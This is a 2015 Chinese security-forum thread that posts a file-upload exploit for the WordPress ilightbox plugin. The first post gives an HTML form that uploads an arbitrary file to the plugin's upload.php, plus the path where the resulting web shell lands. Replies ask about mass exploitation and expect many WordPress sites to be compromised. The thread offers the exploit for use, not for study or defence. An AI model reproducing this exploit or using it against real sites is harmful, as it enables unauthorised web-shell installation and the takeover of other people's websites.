请选择 进入手机版 | 继续访问电脑版
查看: 13537|回复: 44

WordPress ilightbox Plugin上传漏洞

[复制链接]
  • TA的每日心情

    昨天 10:23
  • 签到天数: 1007 天

    [LV.10]以坛为家III

    发表于 2015-12-11 23:52:20 | 显示全部楼层 |阅读模式
    Google关键字:
    游客,如果您要查看本帖隐藏内容请回复


    POC (Exploit code)

    [HTML] 纯文本查看 复制代码
    <form action="http://localhost/wordpress/wp-content/plugins/ilightbox/lib/upload.php" method="POST" enctype="multipart/form-data">
    <input type="file" name="qqfile">
    <input type="submit" value="Upload">
    </form>


    shell
    [HTML] 纯文本查看 复制代码
    http://localhost/wordpress/wp-content/uploads//2015/12/shell.name
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    7 天前
  • 签到天数: 691 天

    [LV.9]以坛为家II

    发表于 2015-12-11 23:58:16 | 显示全部楼层
    能批量拿么?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2021-1-3 16:12
  • 签到天数: 101 天

    [LV.6]常住居民II

    发表于 2015-12-12 00:12:35 | 显示全部楼层
    目测一大批WordPress挂掉
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2021-5-30 23:04
  • 签到天数: 90 天

    [LV.6]常住居民II

    发表于 2015-12-12 00:26:55 | 显示全部楼层
    快不快快不快

    评分

    参与人数 1i币 -10 收起 理由
    管理01 -10 恶意灌水

    查看全部评分

    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-3-27 09:58
  • 签到天数: 145 天

    [LV.7]常住居民III

    发表于 2015-12-12 01:51:36 | 显示全部楼层
    不错不错
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2016-11-3 09:21
  • 签到天数: 82 天

    [LV.6]常住居民II

    发表于 2015-12-12 11:19:03 | 显示全部楼层
    看看用户量大不大,膜拜大神
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-1-19 11:33
  • 签到天数: 90 天

    [LV.6]常住居民II

    发表于 2015-12-12 11:52:27 | 显示全部楼层
    WordPress ilightbox Plugin   
    果然叼
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-12 13:32:13 | 显示全部楼层
    新人报到。不知道我WORDPRESS设置了不被搜索引擎发现能不能在谷歌上搜到
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2019-2-13 01:04
  • 签到天数: 306 天

    [LV.8]以坛为家I

    发表于 2015-12-12 19:30:34 | 显示全部楼层
    这样不好吧
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

    发表于 2015-12-12 19:48:54 | 显示全部楼层
    学习学习
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表